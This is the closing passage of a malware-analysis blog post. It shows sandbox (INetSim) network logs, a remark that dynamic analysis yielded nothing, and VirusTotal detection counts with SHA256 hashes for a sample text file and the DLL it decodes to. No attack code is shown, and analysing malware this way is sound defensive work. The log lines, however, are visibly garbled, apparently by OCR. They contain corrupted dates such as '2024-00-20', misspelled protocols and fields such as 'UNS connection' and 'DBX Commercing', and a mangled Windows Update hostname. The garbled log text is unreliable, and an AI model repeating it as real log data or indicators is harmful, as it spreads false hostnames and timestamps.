2024-09-20 12:35:19 HTTP connection, method: GET, URL: http://google.com/favicon.ico, file name: /var/lib/inetsim/http/fakefiles/favicon.ico		
2024-09-20 L2:00:43 UNS connection, type: A, class: LN, requested name: push.services.mozilla.com 2024-00-20 10:40:43 UNS connection type: A class: IN requested name: push services.mozilla.com		
2024-09-20 12:40:43 DNS connection, type: AAAA, class: TN, requested name: push.services.mozilla.com		
2024-09-20 12:41:13 DNS connection, type: A, class: IN, requested name: is040601.us.archive.org		
20/2-09-20 12:41:13 DBX Commercing, sppe: A, ClaSS: IN, requested name: cital.windowsuphate.com 20/2-09-20 12:41:13 HTTP connection, method: GET, URL: http://clal.windowsuphate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cah?fc522clcc8056638. file name: /v	ar/lib/inetsim/http/fakefiles	/sample.
html		
2024-09-20 12:48:08 DNS connection, type: A, class: IN, requested name: shavar.services.mozilla.com		
2024-09-20 12:48:08 DNS connection, type: AAA, class: IN, requested name: shavar.services.mozilla.com		

My platform architecture seems incompatible, the program exited with some errors.

Atlast, we get no intel from dynamic analysis.

On VirusTotal, the file *DetahNoteJ.txt* is detected by 17 engines.

SHA256: 16912B71BDEFBB0B9E0B0E71D85B0095880D4DC250239E7D26E12454F7F6BADF



Whereas the base64 decoded content of *DetahNoteJ.txt* is a DLL file, detected by 7 engines.

SHA256: 97164081607B6FDB9B095CB01BB0A818FC77DB92DAD38B910B05A90160748756



We meet next time dissecting another sample or comming up with an evasion technique until then **čau čau**

Tags: analysis security

- <u>← Previous Post</u>
- <u>Next Post \rightarrow </u>